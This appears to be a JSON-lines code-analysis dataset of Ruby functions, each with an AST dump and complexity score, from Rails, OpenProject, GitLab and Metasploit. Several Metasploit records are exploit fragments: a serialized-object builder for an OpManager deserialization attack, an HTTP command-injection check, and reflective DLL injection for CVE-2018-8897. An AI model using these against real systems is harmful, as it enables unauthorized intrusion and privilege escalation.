{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb","start_line":217,"raw_source":"def build_sumpdu(data: '')\n    # build a serialized SUMPDU object with a custom data block\n    sumpdu = \"\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x27\\x63\\x6f\\x6d\\x2e\\x61\\x64\\x76\\x65\".b\n    sumpdu << \"\\x6e\\x74\\x6e\\x65\\x74\\x2e\\x74\\x6f\\x6f\\x6c\\x73\\x2e\\x73\\x75\\x6d\\x2e\".b\n    sumpdu << \"\\x70\\x72\\x6f\\x74\\x6f\\x63\\x6f\\x6c\\x2e\\x53\\x55\\x4d\\x50\\x44\\x55\\x24\".b\n    sumpdu << \"\\x29\\xfc\\x8a\\x86\\x1b\\xfd\\xed\\x03\\x00\\x03\\x5b\\x00\\x04\\x64\\x61\\x74\".b\n    sumpdu << \"\\x61\\x74\\x00\\x02\\x5b\\x42\\x4c\\x00\\x02\\x69\\x64\\x74\\x00\\x12\\x4c\\x6a\".b\n    sumpdu << \"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\".b\n    sumpdu << \"\\x4c\\x00\\x08\\x75\\x6e\\x69\\x71\\x75\\x65\\x49\\x44\\x71\\x00\\x7e\\x00\\x02\".b\n    sumpdu << \"\\x78\\x70\\x7a\" + [ 0x14 + data.length ].pack('N')\n    sumpdu << \"\\x00\\x0c\\x4f\\x50\\x45\\x4e\\x5f\\x53\\x45\\x53\\x53\\x49\\x4f\\x4e\\x00\\x00\".b\n    sumpdu << \"\\x00\\x00\"\n    sumpdu << [ data.length ].pack('n') + data\n    sumpdu << \"\\x78\".b\n    sumpdu\n  end","complexity_score":33.25,"ast_json":"{\"type\":\"def\",\"children\":[\"build_sumpdu\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"b\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"at\\u0000\\u0002[BL\\u0000\\u0002idt\\u0000\\u0012Lj\"]},\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"ava/lang/String;\"]},\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"L\\u0000\\buniqueIDq\\u0000~\\u0000\\u0002\"]},\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"xpz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[20]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\fOPEN_SESSION\\u0000\\u0000\"]},\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sumpdu\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"b\"]}]},{\"type\":\"lvar\",\"children\":[\"sumpdu\"]}]}]}","id":"2d08ca5e-6ea1-4505-9a19-a40d966890bc"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/caching/cached_representer.rb","start_line":41,"raw_source":"def to_json(*args)\n          return super if no_caching?\n\n          cached_json_rep = OpenProject::Cache.fetch(json_cache_key) do\n            with_caching_state :cacheable do\n              super\n            end\n          end\n\n          uncached_json_rep = with_caching_state :uncacheable do\n            super\n          end\n\n          cached_hash_rep = ::JSON::parse(cached_json_rep)\n\n          apply_link_cache_ifs(cached_hash_rep)\n          apply_property_cache_ifs(cached_hash_rep)\n\n          add_uncacheable_links(cached_hash_rep)\n\n          uncached_hash_rep = ::JSON::parse(uncached_json_rep)\n          hash_rep = uncached_hash_rep.deep_merge(cached_hash_rep)\n\n          ::JSON::dump(hash_rep)\n        end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_caching?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cached_json_rep\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Cache\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"json_cache_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_caching_state\",{\"type\":\"sym\",\"children\":[\"cacheable\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uncached_json_rep\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_caching_state\",{\"type\":\"sym\",\"children\":[\"uncacheable\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_hash_rep\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"cached_json_rep\"]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_link_cache_ifs\",{\"type\":\"lvar\",\"children\":[\"cached_hash_rep\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_property_cache_ifs\",{\"type\":\"lvar\",\"children\":[\"cached_hash_rep\"]}]},{\"type\":\"send\",\"children\":[null,\"add_uncacheable_links\",{\"type\":\"lvar\",\"children\":[\"cached_hash_rep\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uncached_hash_rep\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"uncached_json_rep\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_rep\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uncached_hash_rep\"]},\"deep_merge\",{\"type\":\"lvar\",\"children\":[\"cached_hash_rep\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"hash_rep\"]}]}]}]}","id":"0d2919c9-0354-4090-babf-363cd8db4e1a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/phoenix_exec.rb","start_line":55,"raw_source":"def check\n    test = Rex::Text.rand_text_alpha(8)\n    res = http_send_command(\"echo \\\"#{test}\\\";\")\n    if res && res.body.include?(test)\n      return Exploit::CheckCode::Vulnerable\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"http_send_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"test\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"ddbdb241-dbc7-4373-9454-db0539cc981b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/uuid_test.rb","start_line":348,"raw_source":"def test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration\n    @verbose_was = ActiveRecord::Migration.verbose\n    ActiveRecord::Migration.verbose = false\n\n    migration = Class.new(ActiveRecord::Migration[5.0]) do\n      def version; 101 end\n      def migrate(x)\n        create_table(\"pg_uuids_4\", id: :uuid, default: nil)\n      end\n    end.new\n\n    pool = ActiveRecord::Base.connection_pool\n    ActiveRecord::Migrator.new(:up, [migration], pool.schema_migration, pool.internal_metadata).migrate\n\n    schema = dump_table_schema \"pg_uuids_4\"\n    assert_match(/\\bcreate_table \"pg_uuids_4\", id: :uuid, default: nil/, schema)\n  ensure\n    drop_table \"pg_uuids_4\"\n    ActiveRecord::Migration.verbose = @verbose_was\n    ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions\n  end","complexity_score":27.03,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@verbose_was\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[5.0]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"str\",\"children\":[\"pg_uuids_4\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"uuid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"schema_migration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"internal_metadata\"]}]},\"migrate\"]},{\"type\":\"lvasgn\",\"children\":[\"schema\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"pg_uuids_4\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\bcreate_table \\\"pg_uuids_4\\\", id: :uuid, default: nil\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"schema\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"pg_uuids_4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose=\",{\"type\":\"ivar\",\"children\":[\"@verbose_was\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"schema_migration\"]},\"delete_all_versions\"]}]}]}]}","id":"d18aa435-fc78-4628-9582-c6ddee7957d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_python.rb","start_line":91,"raw_source":"def lookup_error(error_code)\n    unknown_error = 'Unknown error'\n    error_type = error_code & 0x0f\n    return unknown_error if error_type == ERROR_TYPE_UNKNOWN\n\n    error_code &= 0xffff0000\n    error_code >>= 16\n\n    if error_type == ERROR_TYPE_PYTHON\n      python_error = PYTHON_ERROR_CRCS[error_code]\n      return \"Python exception: #{python_error}\" unless python_error.nil?\n    elsif error_type == ERROR_TYPE_WINDOWS\n      return \"Windows error: #{Msf::WindowsError.description(error_code)}\"\n    end\n\n    unknown_error\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unknown_error\",{\"type\":\"str\",\"children\":[\"Unknown error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_code\"]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ERROR_TYPE_UNKNOWN\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown_error\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_code\"]},\"&\",{\"type\":\"int\",\"children\":[4294901760]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_code\"]},\">>\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ERROR_TYPE_PYTHON\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"python_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PYTHON_ERROR_CRCS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"error_code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"python_error\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Python exception: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"python_error\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ERROR_TYPE_WINDOWS\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsError\"]},\"description\",{\"type\":\"lvar\",\"children\":[\"error_code\"]}]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"unknown_error\"]}]}]}","id":"a346fd4b-049c-4242-b482-c62b9586d55d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/mov_ss.rb","start_line":157,"raw_source":"def exploit_dll\n    print_status('Checking target...')\n    validate_active_host\n    validate_target\n    print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')\n    encoded_payload = payload.encoded\n    execute_dll(\n      ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),\n      encoded_payload\n    )\n    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n  rescue Rex::Post::Meterpreter::RequestError => e\n    elog(e)\n    print_error(e.message)\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_dll\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking target...\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_active_host\"]},{\"type\":\"send\",\"children\":[null,\"validate_target\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Target looks good... reflectively injecting exploit DLL and triggering exploit!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2018-8897\"]},{\"type\":\"str\",\"children\":[\"reflective_dll.x64.dll\"]}]},{\"type\":\"lvar\",\"children\":[\"encoded_payload\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Exploit finished, wait for (hopefully privileged) payload execution to complete.\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]}","id":"739ac599-9c18-467f-9ba1-e290e40060d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/experimental/o11y_service_settings_controller_spec.rb","start_line":529,"raw_source":"def stub_o11y_setting_save(result)\n    allow_next_instance_of(Observability::GroupO11ySetting) do |instance|\n      allow(instance).to receive(:save).and_return(result)\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_o11y_setting_save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_next_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Observability\"]},\"GroupO11ySetting\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"instance\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"save\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"fdfbbe82-8cd2-408a-b568-ec8cffa5fe6e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":875,"raw_source":"def test_third_have_primary_key_order_by_default\n    expected = topics(:third)\n    expected.touch # PostgreSQL changes the default order if no order clause is used\n    assert_equal expected, Topic.third\n    assert_equal expected, Topic.limit(5).third\n    assert_equal expected, Topic.order(nil).third\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_third_have_primary_key_order_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"third\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"touch\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"third\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"limit\",{\"type\":\"int\",\"children\":[5]}]},\"third\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"nil\",\"children\":[]}]},\"third\"]}]}]}]}","id":"29870cca-2d77-497a-a72f-e23bea088760"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/mocked_permission_helper.rb","start_line":86,"raw_source":"def allow_globally(*permissions)\n    permissions.each do |permission|\n      Authorization.contextual_permissions(permission, :global, raise_on_unknown: true)\n    end\n    permitted_entities[:global] += permissions\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_globally\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"permissions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorization\"]},\"contextual_permissions\",{\"type\":\"lvar\",\"children\":[\"permission\"]},{\"type\":\"sym\",\"children\":[\"global\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_unknown\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_entities\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"global\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"permissions\"]}]}]}]}","id":"2c44e79b-3052-448b-be78-f9006c8020ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/lib/module_test.rb","start_line":177,"raw_source":"def pop_test_directory\n      previous_directory = @directory_stack.pop\n      unless previous_directory.nil?\n        vprint_status(\"Cleanup: changing working directory back to #{previous_directory}\")\n        _file_system.cd(previous_directory)\n      end\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pop_test_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_directory\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@directory_stack\"]},\"pop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_directory\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cleanup: changing working directory back to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_directory\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_file_system\"]},\"cd\",{\"type\":\"lvar\",\"children\":[\"previous_directory\"]}]}]}]}]}]}","id":"c09e0472-518b-45a7-b13a-1940f07cf14f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/releases/delete.rb","start_line":19,"raw_source":"def resolve(project_path:, tag:)\n        project = authorized_find!(project_path)\n\n        params = { tag: tag }.with_indifferent_access\n\n        result = ::Releases::DestroyService.new(project, current_user, params).execute\n\n        if result[:status] == :success\n          {\n            release: result[:release],\n            errors: []\n          }\n        else\n          {\n            release: nil,\n            errors: [result[:message]]\n          }\n        end\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwarg\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Releases\"]},\"DestroyService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"release\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"release\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"release\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]